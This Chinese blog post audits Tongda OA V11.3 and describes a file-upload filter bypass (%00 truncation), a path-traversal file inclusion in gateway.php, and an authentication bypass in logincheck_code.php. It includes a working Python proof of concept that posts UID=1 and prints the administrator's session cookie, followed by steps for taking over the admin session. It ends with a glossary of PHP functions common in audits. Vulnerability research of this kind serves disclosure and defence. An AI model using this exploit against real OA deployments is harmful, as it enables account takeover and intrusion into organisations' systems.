通达OA V11.3 代码审计 (文件上传、文件包含、任意用户登录漏洞)

因为这段时间比较忙,抽出时间写博客很不容易,所以就简单的吧印象笔记里面的内容站上俩,没有写太多具体的分析过程,尽量都在截图中说明了

 

附件 通达OA11.3源码(未解码,可以自己去下SeayDzend解码)

链接:https://pan.baidu.com/s/17kItUwoPfPIeeK2ZnRnmEA 
提取码:ALEX 
 

 

 

文件上传漏洞:

\ispirit\im\upload.php 5:$P参数非空即可绕过上传限制
                                     16:include_once "inc/utility_file.php 2299:is_uploadable ( ) 过滤函数内的文件后缀判断可绕过( : 2307)
此处可以利用文件%00截断或web服务器的先天缺陷进行攻击,构造上传文件特殊的后缀名,即可绕过该过滤
 

文件包含漏洞:

\ispirit\interface\gateway.php:27
此处存在文件遍历将json内的值提出来
//在json中构造POC,地址直接写入json中,构造出含有"general/"字符串并../../../等格式的地址,访问先前上传成功的恶意脚本文件
 
 
 

任意用户登录漏洞:

/logincheck_code.php
 
这里直接通过POST传入UID:
 
通过UID进行数据库的查询,并加以参数的赋值:
mysql> select * from USER where UID=1 \G;
 
因为UID=1是admin用户,所以这儿直接就是把admin的session给调了出来:
 
我们用burp测试一下,给他喂一个UID=1
 
于是我们便得到了PHPSESSID
然后再主页内的请求包中直接修改该
 
进来了:
 
 
附上该漏洞的Python利用POC:直接获取admin用户的登录PHPSESSID
import requests
import json

headers={}
def getV11Session(url):
    checkUrl = url+'/general/login_code.php'
    print(checkUrl)
    try:
        headers["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; Media Center PC 6.0)"
        getSessUrl = url+'/logincheck_code.php'
        res = requests.post(
            getSessUrl, data={ 'UID': int(1)},headers=headers)
        print('[+]Get Available COOKIE:'+res.headers['Set-Cookie'])
    except:
        print('[-]Something Wrong With '+url)

if __name__ == "__main__":
    getV11Session("http://127.0.0.1/")

该poc是获取到最近一次登录admin的PHPSESSID,要是admin又登陆了一次的话,还是要重新获取,因为PHPSESSID会变的

 
 
 
 
 
 
 
 
参考文章:
 
 
 
附件:PHP代码审计常见函数
 
ob_start()  控制用户浏览器的缓冲区cache
    通过此方法可以将服务器输出在浏览器的内容先缓存在浏览器的cache中,直到 flush或者ob_end_flush才会输出
 
include_once  包含某文件(若已经包含过则不在包含)
 
session_id  获取/设置当前会话 ID
         session_id ([ string $id ] ) : string
        session_id() 可以用来获取/设置 当前会话 ID。 如果指定了 id 参数的值, 则使用指定值作为会话 ID。 必须在调用 session_start() 函数之前调用 session_id() 函数
session_start()  session_start — 启动新会话或者重用现有会话
 
session_write_close()  写入会话数据和结束回话
 
 
ob_end_clean()    ob_end_clean  清空(擦除)缓冲区并关闭输出缓冲
 
strtolower()  字符串转化为小写
 
substr()   返回字符串的相对位置的子串   
 
ltrim()   删除字符串开头的空白或其他字符
 
preg_match ()  执行匹配正则表达式
 
stripcslashes ( )   返回反转义后的字符串。
 
 
 
 
 
 
 
 
真正不羁的灵魂不会去计较什么,因为他们内心有着国王般的骄傲
——杰克·凯鲁亚克
 
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值